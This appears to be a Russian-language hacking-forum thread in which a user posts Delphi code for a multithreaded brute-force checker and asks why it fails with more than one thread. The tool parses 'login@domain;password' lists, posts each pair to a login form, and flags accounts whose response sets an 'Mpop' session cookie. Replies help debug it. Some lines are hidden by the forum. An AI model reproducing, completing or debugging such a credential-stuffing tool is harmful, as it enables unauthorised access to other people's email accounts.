Брут, потоки ^_^

[pavel!]

Проблема с потоками . . .
На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы.
Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^



TNewThread = class(TThread)
private
Login : string;
Domain: string;
Pass: string;
Rez : integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;






Work:=true;
Acc:=-1;
for Thread := 1 to strtoint(form1.sSpinEdit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(form1.sSpinEdit1.Text);







procedure TNewThread.Execute;
var
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
CurAcc:integer;
data:tstringlist;
begin
while work do
begin
CS.Enter;
inc(Acc);
if Acc<Source.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if work then
begin
[Ссылки могут видеть только зарегистрированные и активированные пользователи](nil);
[Ссылки могут видеть только зарегистрированные и активированные пользователи] ;
Login:= Copy(Source[CurAcc],1,Pos('@',Source[CurAcc])-1);
Domain:=Copy(Source[CurAcc], Pos('@', Source[CurAcc]) + 1, Pos(';', Source[CurAcc]) - Pos('@',Source[CurAcc]) - 1);
Pass:= Copy(Source[CurAcc],Pos(';',Source[CurAcc])+1,Length(Source[CurAcc]));
data:=tstringlist.Create;
data.add('page=');
data.Add('name='+Login);
data.Add('Domain='+Domain);
data.Add('Pass='+Pass);
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
try
[Ссылки могут видеть только зарегистрированные и активированные пользователи]('Zapros ^_^', data);
Rez:=0;
except
if Pos('Set-Cookie: Mpop=', [Ссылки могут видеть только зарегистрированные и активированные пользователи])<>0 then
Rez:=1
else
Rez:=2;
end;
[Ссылки могут видеть только зарегистрированные и активированные пользователи]
data.Free;
Synchronize(Sync);
end;
end;
end;



Ребята помогите пожалусто ^_^ :nono:

[Tip.the.besT]

Проблема с потоками . . .
На одном потоке все окей, ставиш больше идет все в бад, даже сниффером не ловит запросы.
Все не могу понять почему при 1 потоке все окей и сниффер ловит запросы, а когда ставиш 2 и выше все катится в бад и нету запросов ^_^

Ребята помогите пожалусто ^_^ :nono:
Довольно подозрительная строка:
[Ссылки могут видеть только зарегистрированные и активированные пользователи] ;

Попробуй создать динамически, а не присвоить из главного потока.

[Relli]

Tip.the.besT, все нормально.
Просто в его коде была ошибка,из-за которой одно из действий зацикливалось.Я ему помог в тот же день.Просто он забыл отписаться,что проблема решена

[Tip.the.besT]

Tip.the.besT, все нормально.
Просто в его коде была ошибка,из-за которой одно из действий зацикливалось.Я ему помог в тот же день.Просто он забыл отписаться,что проблема решена

Просто всё равно страшно, индейцев кучя и каждый подключает один и тот же ssl... Я бы не стал так с делфями шутить.